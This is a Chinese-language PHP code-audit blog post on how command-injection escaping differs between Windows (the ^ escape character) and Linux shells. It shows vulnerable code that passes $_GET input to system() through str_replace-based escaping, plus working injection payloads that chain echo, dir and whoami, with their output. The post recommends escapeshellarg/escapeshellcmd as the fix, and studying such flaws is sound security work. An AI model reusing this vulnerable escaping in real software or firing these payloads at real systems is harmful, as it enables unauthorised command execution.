php代码审计之命令执行中windows/linux的差异化问题
昨天好基友发来了一段代码,还是挺有趣的,记录下:
<?php
$a = '\''.str_replace("'","\'",$_GET[1]).'\'';
$b = '\''.str_replace("'","\'",$_GET[2]).'\'';
echo($a);
echo "<br/>";
var_dump($b);
echo "<br/>";
var_dump('echo '. $a . $b);
echo "<br/>";
system('echo '. $a . $b);
echo "<br/>";
?>
代码如下,要求windows和linux下执行命令
先从windows下手吧:
payload:
test' | echo 123 > helloworld.txt |dir &2=1
页面输出:
'test\' | echo 123 > helloworld.txt |dir '
string(3) "'1'"
string(50) "echo 'test\' | echo 123 > helloworld.txt |dir ''1'"
驱动器 C 中的卷没有标签。 卷的序列号是 4A10-0977 C:\phpStudy\WWW 的目录
发现即使转义了单引号仍待可以命令执行,问题出在哪里呢?
打开windows cmd:
直接输入这段语句:
echo 'test\' | echo 123 > helloworld.txt |dir ''1'

此时我的桌面上就有了一个helloworld.txt文件
其实问题就出在程序员误把\认为是windows的转义符,其实windows真正的转义符就是(^):
我们可以多测试几次看看:
测试用例如下:
先测试有效的:
C:\Users\maniac123\Desktop>echo 'test\' | echo 123
123 C:\Users\maniac123\Desktop>echo 'test | echo 123
123 C:\Users\maniac123\Desktop>echo 'x''' | echo 123
123 C:\Users\maniac123\Desktop>echo 'x | echo 123'
123' C:\Users\maniac123\Desktop>

发现在windows下,如果使用\'的方式去处理修复rce,是不对的,通过连接符,将会畅通无阻.如果不去处理正确的转义连接符,会导致rce:
比如说我这样输入:
C:\Users\maniac123\Desktop>echo 'x 111.txt\| echo 123'
123' C:\Users\maniac123\Desktop>

仍然是正常输出,除非使用^去处理连接符:
C:\Users\maniac123\Desktop>echo 'x 111.txt^| echo 123'
'x 111.txt| echo 123' C:\Users\maniac123\Desktop>

如果使用^去转义,只会打印,而不是执行
那么上面那段代码在windows下无效,建议使用:php自带的命令执行处理函数escapeshellarg或escapeshellcmd
无效测试用例:
C:\Users\maniac123\Desktop>echo "xxx | echo 123"
"xxx | echo 123" C:\Users\maniac123\Desktop>echo "xxx && echo 123"
"xxx && echo 123" C:\Users\maniac123\Desktop>
在windows下如果可控的数据被双引号包裹,那又不一样了,windows认为他只是字符串,他只会原样输出:

这样,都不需要转义连接符号,就把漏洞扼杀在摇篮里了,真的无懈可击吗?
稍微修改下输入:
C:\Users\maniac123\Desktop>echo "xxx^" | whoami
maniac123-pc\maniac123 C:\Users\maniac123\Desktop>echo "xxx\" | whoami
maniac123-pc\maniac123 C:\Users\maniac123\Desktop>echo "xxx/" | whoami
maniac123-pc\maniac123
如果有程序员二次画蛇添足做多余转义处理,那么就会逃逸导致再次命令执行:

在windows下只要看到"了,就代表是闭合了,前面什么符号都没关系!
通过这个差异,下次源码审计就可以钻这种空子,实现命令执行.
windows大致说完了,现在来讲讲linux下的问题:
linux的转义符号有两个:分别是(\)和(''),大多数都知道前者,后者容易被忽略

都可以起到转义的作用
当使用(\)或者('')转义连接符的时候,命令执行会失败:

上测试代码:
<?php
$t1 = "这是可控点1";
$t2 = "这是可控点2";
$a = "\'".str_replace("'","\'",$t1)."\'";
$b = "\'".str_replace("'","\'",$t2)."\'";
echo $a;
echo($a);
echo "<br/>";
var_dump($b);
echo "<br/>";
var_dump('echo '. $a . $b);
echo "<br/>";
system('echo '. $a . $b);
echo "<br/>";
?>
直接给出payload:
<?php
$t1 = "' && echo 11111111 > hello.txt && '";
$t2 = "\'";
$a = "\'".str_replace("'","\'",$t1)."\'";
$b = "\'".str_replace("'","\'",$t2)."\'";
echo $a;
echo($a);
echo "<br/>";
var_dump($b);
echo "<br/>";
var_dump('echo '. $a . $b);
echo "<br/>";
system('echo '. $a . $b);
echo "<br/>";
?>
打印输出看下:
\'\' && echo 11111111 > hello.txt && \'\'\'\' && echo 11111111 > hello.txt && \'\'<br/>string(7) "\'\\'\'"
<br/>string(53) "echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'"
<br/>''
sh: '''\\: command not found
把这部分取出来即可:
"echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'"
单独拎出来:
echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'
linux cmd下运行下:

为什么可以?
前面的代码发现,这里把'转换成\',比较有迷惑性的输入:
\'\'\'\\'\'
再次运行:

输出
'''\\
前面说了linux 下 '*'才是转义符,\也是转义符:
分开执行:

这样就清晰多了
linux和windows下区别很大:
如果linux这样做,直接gg了,引号包裹里面,就扼杀了命令执行的可能性:

还是\'使用不当,导致想输入的恶意语句逃逸:
[root@VM-0-6-centos ~]# cat 123.txt
cat: 123.txt: 没有那个文件或目录
[root@VM-0-6-centos ~]# echo '\'|echo 123 > 123.txt|\\''
-bash: \: 未找到命令
[root@VM-0-6-centos ~]# cat 123.txt
123
[root@VM-0-6-centos ~]#

为什么可以执行命令?因为转义符!导致我们的{echo 123 > 123.txt}是一个整体,直接命令执行
其实不借助第二个可控参数,仍然可以命令执行只要这样:
<?php
$t1 = "' && echo 11111111 > hello.txt && '";
$t2 = "";
$a = "\'".str_replace("'","\'",$t1)."\'";
$b = "\'".str_replace("'","\'",$t2)."\'";
echo $a;
echo($a);
echo "<br/>";
var_dump($b);
echo "<br/>";
var_dump('echo '. $a . $b);
echo "<br/>";
system('echo '. $a . $b);
echo "<br/>";
?>
输出
\'\' || echo 11111111 > hello.txt || \'\'\'\' || echo 11111111 > hello.txt || \'\'<br/>string(4) "\'\'"
<br/>string(50) "echo \'\' || echo 11111111 > hello.txt || \'\'\'\'"
<br/>''
<br/>
其中最终的输出的是:
echo \'\' || echo 11111111 > hello.txt || \'\'\'\'
都一一转义了,此时此刻{echo 11111111 > hello.txt}就是一个整体
那么在linux下命令执行修复方案如下:建议使用:php自带的命令执行处理函数escapeshellarg或escapeshellcmd
还是比较有意思的,呵呵
php代码审计之命令执行中windows/linux的差异化问题的更多相关文章
- 用前端姿势玩docker【五】快速构建中类Unix系统与Windows系统的差异化处理
目录 用前端姿势玩docker[一]Docker通俗理解常用功能汇总与操作埋坑 用前端姿势玩docker[二]dockerfile定制镜像初体验 用前端姿势玩docker[三]基于nvm的前端环境构建 ...
- PHP代码审计笔记--命令执行漏洞
命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: <?php $target=$_REQUEST['ip']; ...
- 2020/1/28 PHP代码审计之命令执行漏洞
0x00 命令执行漏洞原理 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.passthru.popen.proc_popen等函数可以执行 ...
- ASP代码审计 -4.命令执行漏洞总结
命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip" ...
- 常用命令行指令 Windows & Linux
一.Linux linux常用命令详解:https://www.cnblogs.com/yuncong/p/10247583.html 挂载U盘到linux一个文件夹中 二.Windows 1.查看电 ...
- php bypass disable_function 命令执行 方法汇总简述
1.使用未被禁用的其他函数 exec,shell_exec,system,popen,proc_open,passthru (python_eval?perl_system ? weevely3 wi ...
- 【渗透测试学习平台】 web for pentester -6.命令执行
命令执行漏洞 windows支持: | ping 127.0.0.1|whoami || ping 2 || whoami (哪条名 ...
- 在 Linux/windows下 命令行中使用和执行 PHP 代码[交互式php]
[注释]在ubuntu下,升级php到7.1版本,虽然提示的是Interactive mode enabled, 但实际上可以直接书写命令,和interactive shell效果一样. 一:wind ...
- 在 Linux 命令行中使用和执行 PHP 代码
PHP是一个开源服务器端脚本语言,最初这三个字母代表的是“Personal Home Page”,而现在则代表的是“PHP:Hypertext Preprocessor”,它是个递归首字母缩写.它是一 ...
随机推荐
- 敏捷史话(十五):我发明了敏捷估算扑克牌 —— James Greening
雪鸟会议 雪鸟会议前夕,James Grenning 在 Object Mentor 与 Robert C. Martin 一同工作,彼时组织雪鸟会议的 Bob 大叔盛情邀请 James,告知他会议的 ...
- [源码分析]并行分布式任务队列 Celery 之 子进程处理消息
[源码分析]并行分布式任务队列 Celery 之 子进程处理消息 0x00 摘要 Celery是一个简单.灵活且可靠的,处理大量消息的分布式系统,专注于实时处理的异步任务队列,同时也支持任务调度.在前 ...
- 一次错误使用 go-cache 导致出现的线上问题
话说一个美滋滋的上午, 突然就出现大量报警, 接口大量请求都响应超时了. 排查过程 查看服务器的监控系统, CPU, 内存, 负载等指标正常 排查日志, 日志能够响应的结果也正常. request.l ...
- grafana接入zabbix数据源
一.grafana介绍 grafana是开源免费的应用数据可视化仪表盘,由于zabbix本身对监控数据可视化并不侧重,所以大多使用第三方数据可视化工具来做大屏.下面向小伙伴们介绍grafana接入za ...
- 『动善时』JMeter基础 — 1、JMeter介绍
1.什么是JMeter Apache JMeter是Apache组织开发的基于Java的压力测试工具,用于对软件做压力测试.它最初被设计用于Web应用测试,但后来扩展到其他测试领域. (Apache ...
- 展开说说,Spring Bean IOC、AOP 循环依赖
作者:小傅哥 博客:https://bugstack.cn 沉淀.分享.成长,让自己和他人都能有所收获! 一.前言 延迟满足能给你带来什么? 大学有四年时间,但几乎所有人都是临近毕业才发现找一份好工作 ...
- 小图标文字对齐的终极解决方案demo
CSS代码: .icon { display: inline-block; width:20px; height:20px; background: url(delete.png) no-repeat ...
- 路由器逆向分析------MIPS交叉编译环境的搭建(Buildroot)
本文博客地址:http://blog.csdn.net/qq1084283172/article/details/68950682 为了能在我们熟悉的windows或者ubuntu下开发mips架构的 ...
- android so加载
本文分析so加载的步骤,其实在之前dalvik浅析二中也有提及,但那重点关注的是jni.android中so库的加载,代码如下: loadLibrary("nanosleep"); ...
- DVWA之SQL注入考点小结
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...